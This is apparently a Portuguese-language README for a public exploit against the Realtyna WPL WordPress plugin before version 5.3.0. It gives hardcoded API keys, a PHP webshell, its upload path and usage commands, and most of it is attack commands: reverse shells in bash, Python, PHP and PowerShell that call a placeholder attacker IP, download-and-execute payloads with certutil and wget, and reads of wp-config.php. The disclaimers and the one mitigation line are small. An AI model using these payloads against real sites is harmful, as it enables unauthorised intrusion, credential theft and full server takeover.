
Exploit de RCE não autenticado para Realtyna WPL < 5.3.0 que faz upload de um webshell PHP via chave de API embutida e executa comandos arbitrários do sistema.
Este exploit tem como alvo uma vulnerabilidade crítica nas versões anteriores a 5.3.0 do plugin Realtyna Organic IDX + WPL Real Estate. O plugin utiliza credenciais hardcoded e permite upload de arquivos não autenticado, levando à Execução Remota de Código (RCE).
O plugin possui uma API de I/O habilitada por padrão com credenciais hardcoded:
io_public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7wio_private_key = Eft76bdh0o2uyhJkbG3TA API não valida os tipos de arquivo, permitindo uploads arbitrários de arquivos PHP.
# Clone or download the script
git clone https://github.com/yourusername/wpl-rce-exploit.git
cd wpl-rce-exploit
# Install dependencies
pip install requests urllib3
# Upload webshell only
python exploit.py -u https://target.com/wordpress
# Execute a command
python exploit.py -u https://target.com/wordpress -c "whoami"
# Multiple commands
python exploit.py -u https://target.com/wordpress -c "id" # Linux
python exploit.py -u https://target.com/wordpress -c "systeminfo" # Windows
# System information
python exploit.py -u https://target.com -c "uname -a"
# Current user
python exploit.py -u https://target.com -c "whoami"
# List files
python exploit.py -u https://target.com -c "ls -la"
# Read wp-config.php
python exploit.py -u https://target.com -c "cat wp-config.php"
# Network information
python exploit.py -u https://target.com -c "ifconfig"
python exploit.py -u https://target.com -c "netstat -tulpn"
# System information
python exploit.py -u https://target.com -c "systeminfo"
# Current user
python exploit.py -u https://target.com -c "whoami"
# List files
python exploit.py -u https://target.com -c "dir"
# Read wp-config.php
python exploit.py -u https://target.com -c "type wp-config.php"
# Network information
python exploit.py -u https://target.com -c "ipconfig"
python exploit.py -u https://target.com -c "netstat -ano"
# Netcat reverse shell
python exploit.py -u https://target.com -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
# Python reverse shell
python exploit.py -u https://target.com -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# PHP reverse shell
python exploit.py -u https://target.com -c "php -r '\$sock=fsockopen(\"YOUR_IP\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
# PowerShell reverse shell
python exploit.py -u https://target.com -c "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
# Download and execute (Windows)
python exploit.py -u https://target.com -c "certutil -urlcache -f http://YOUR_IP/payload.exe C:\temp\payload.exe && C:\temp\payload.exe"
# Download and execute (Linux)
python exploit.py -u https://target.com -c "wget http://YOUR_IP/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
<?php system($_GET['c']); ?>)wp-content/uploads/WPL/<ID>/shell.phpshell.php?c=COMMAND/wp-content/uploads/WPL/*/wplview=io, wplformat=io, cmd=set_property// Add to wp-config.php
define('WPL_IO_STATUS', 0);
[+] Realtyna WPL < 5.3.0 RCE Exploit
[+] Target: https://localhost/wordpress/
[+] Command: whoami
[+] Uploading webshell...
[+] File uploaded successfully!
[+] Webshell found at: wp-content/uploads/WPL/1/shell.php
[+] Command output:
desktop-0s8mt1v\kg
Este exploit é destinado exclusivamente a fins educacionais e testes autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão de teste é ilegal. O autor não se responsabiliza pelo uso indevido.
Este projeto é apenas para fins educacionais. Use por sua conta e risco.
Sinta-se à vontade para enviar issues e pull requests para melhorias.
Para problemas e dúvidas, abra uma issue no GitHub.
⚠️ AVISO: Esta ferramenta é fornecida apenas para pesquisa de segurança e fins educacionais. Sempre obtenha autorização adequada antes de testar qualquer sistema.